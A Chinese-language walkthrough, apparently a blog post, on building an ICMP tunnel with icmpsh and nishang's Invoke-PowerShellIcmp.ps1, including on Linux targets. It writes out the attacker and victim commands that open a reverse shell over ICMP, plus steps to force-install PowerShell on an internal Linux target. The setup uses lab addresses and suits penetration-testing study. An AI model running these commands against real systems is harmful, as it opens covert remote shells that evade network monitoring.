说明
与其说是powershell搭建icmp隧道,不如说是icmpsh+powershell搭建的。icmpsh的使用可以参考上上篇的文章,它是在攻击机执行icmpsh_m.py文件,然后在受害机执行的icmpsh.exe。现在针对powershell的方法,就是把icmpsh.exe换成powershell脚本。攻击机还是运行icmpsh_m.py。
像之前的icmpsh.exe是只能在目标机为windows的系统上运行,而powershell脚本只要目标机有环境就可以运行,这也是他们的一个区别。
过程
我这里换了下ip地址,和上面图中的不一样。
首先在攻击机上将系统icmp回应关掉,然后执行icmpsh_m.py,指定攻击ip和目标ip。
sysctl -w net.ipv4.icmp_echo_ignore_all=1./icmpsh_m.py 192.168.241.128 192.168.241.129
在受害机运行我们的powershell脚本,脚本使用nishang中的Invoke-PowerShellIcmp.ps1,脚本使用方法和之前的icmpsh.exe类似,导入模块,然后跟攻击机ip即可,如下图。
powershellImport-Module .\Invoke-PowerShellIcmp.ps1Invoke-PowerShellIcmp 192.168.241.128
随后,我们的攻击机就会接收到返回的shell。
查看数据包。
目标机Linux
针对目标机为linux的情况,如果目标机没有powershell环境,我们需要安装一下,找到powershell的对应的rpm包下载后安装即可。
wget https://github.com/PowerShell/PowerShell/releases/powershell-xxxxx-centos
因为以后会更新版本的问题,这里具体的下载连接就拿xxx举例,具体连接在github上获取。
rpm -ivh powershell.rpm
相关截图如下:
Linux安装powershell问题
如果powershell使用rpm -ivh命令安装提示没有依赖包的情况,则需要安装相应的依赖包,考虑到依赖包如果在比较多的情况下,且相互依赖关系复杂,不利于我们安装,所以我们可以使用yum命令本地安装的方法,让它自动解决依赖问题,命令如下。
yum localinstall percona-xxxx.rpm -y
再有一种情况就是,如果目标机在内网,yum命令使用有限,上述命令不能使用的时候,我们另一种办法进行解决。即把powershell涉及到的rpm包依赖全部拷贝到目标机,然后一块安装。
操作步骤:首先我们需要在本机的环境中修改yum的配置文件,将其缓存功能打开,作用就是yum命令安装的rpm包所涉及到的依赖都会保存下载。
/etc/yum.conf
然后将配置文件中的keepcache=1值改为1,这时再使用yum来安装rpm包,涉及到的依赖都会保存在/var/cache/yum下,我们把这些包统一上传到目标机,然后执行下面的命令即可。
rpm -ivh *.rpm --nodeps --force